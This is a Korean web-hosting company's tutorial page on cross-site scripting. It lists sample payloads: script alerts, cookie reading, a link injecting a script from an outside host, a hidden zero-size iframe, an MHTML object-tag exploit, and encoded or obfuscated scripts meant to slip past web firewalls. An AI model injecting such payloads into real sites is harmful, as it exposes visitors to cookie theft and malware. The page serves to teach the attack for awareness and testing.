XSS (Cross Site Scripting) 크로스 사이트 스크립팅 > 기술자료 | 해피정닷컴

XSS (Cross Site Scripting) 크로스 사이트 스크립팅 > 기술자료

본문 바로가기

사이트 내 전체검색

XSS (Cross Site Scripting) 크로스 사이트 스크립팅 > 기술자료

Secure XSS (Cross Site Scripting) 크로스 사이트 스크립팅

페이지 정보


본문

XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 
예를들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.

글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.



1. XSS Test하기
일반적인 게시판에 <script>alert("XSS")</script> 라고 입력하여 XSS라는 메시지 창이 뜨면 XSS 취약점이 있는 것이다.

사용자의 쿠키값을 가지고 오게 한다
<script>alert(document.cookie);</script> 

클릭 시 악성코드가 있는 사이트로 이동
<a href="http://naver.com/test.cgi?loc=<script src='http://daum.net/test'></script>">Click here</a>



2. iframe과 메타테그 삽입으로 인한 해킹

<meta http-equiv='refresh' content='600; ur=test.php'>
<iframe src=" http://test.com/~bbs/hack.htm" width="0" height="0" frameborder="0"></iframe>
사이즈 0, 0 iframe을 만들어서 iframe에 악성코드가 들어 있는 사이트로 접속하게 만든다.



3. object 태그

<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>
c:\nosuchfile.mht 파일이 없으면 악성코드가 심어져 있는 http://test.com/attack_chm::exploit.html 파일을 읽게 만든다.



4. div 기법

div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
    <img src="images/test.jpg">
</div>



5. 인코딩 기법

공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.

원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>



6. Obfuscated 기법

인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javas-ript">
    e = '0x00' + '5F';
    str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7%BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1%F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF%C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2"; 
    str = tmp = '';
    for(i=0; i<str1.length; i+=3)
    { 
        tmp = unescape(str1.slice(i,i+=3));
        str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
    }
    document.write(str); 
</script>



7. 기타우회 방법 

</script><script>alert('XSS');</script>
;</script><script>alert('XSS');</script>
</script><script>alert('XSS');</script>



자료출처
http://blog.naver.com/sdream4/10084831337 
http://blog.naver.com/sdream4/10046998900 

댓글목록

등록된 댓글이 없습니다.


Total 2,634건 33 페이지
  • RSS
기술자료 목록
1994
그누보드   12496  2017-06-15 11:52 ~ 2021-07-08 07:58  
1993
Secure   10898  2017-06-14 13:45  
1992
그누보드   15409  2017-06-09 17:39  
1991
영카트   15505  2017-06-08 03:35  
1990
etc쇼핑몰   10616  2017-06-07 13:40  
1989
그누보드   14827  2017-06-02 00:55 ~ 2018-07-06 11:36  
열람
Secure   17306  2017-06-01 03:31  
1987
그누보드   12846  2017-05-30 03:39  
1986
그누보드   16025  2017-05-29 23:19 ~ 2019-08-12 11:18  
1985
그누보드   15502  2017-05-29 18:49 ~ 2017-11-10 06:17  
1984
PHP   13275  2017-05-26 17:29  
1983
Editor   13522  2017-05-25 18:08  
1982
Secure   15617  2017-05-25 00:43  
1981
그누보드   13494  2017-05-22 11:45 ~ 2017-09-15 00:00  
1980
일반   10441  2017-05-19 17:31  
1979
영카트   15332  2017-05-19 15:03 ~ 2022-02-07 15:06  
1978
영카트   10930  2017-05-19 14:45  
1977
그누보드   10918  2017-05-18 14:44  
1976
Search   24171  2017-05-18 00:16  
1975
WindowsServer   11480  2017-05-17 18:54  

검색

해피정닷컴 정보

회사소개 회사연혁 협력사 오시는길 서비스 이용약관 개인정보 처리방침

회사명: 해피정닷컴   대표: 정창용   전화: 070-7600-3500   팩스: 042-670-8272
주소: (34368) 대전시 대덕구 대화로 160 대전산업용재유통단지 1동 222호
개인정보보호책임자: 정창용   사업자번호: 119-05-36414
통신판매업신고: 제2024-대전대덕-0405호 [사업자등록확인]  
Copyright 2001~2024 해피정닷컴. All Rights Reserved.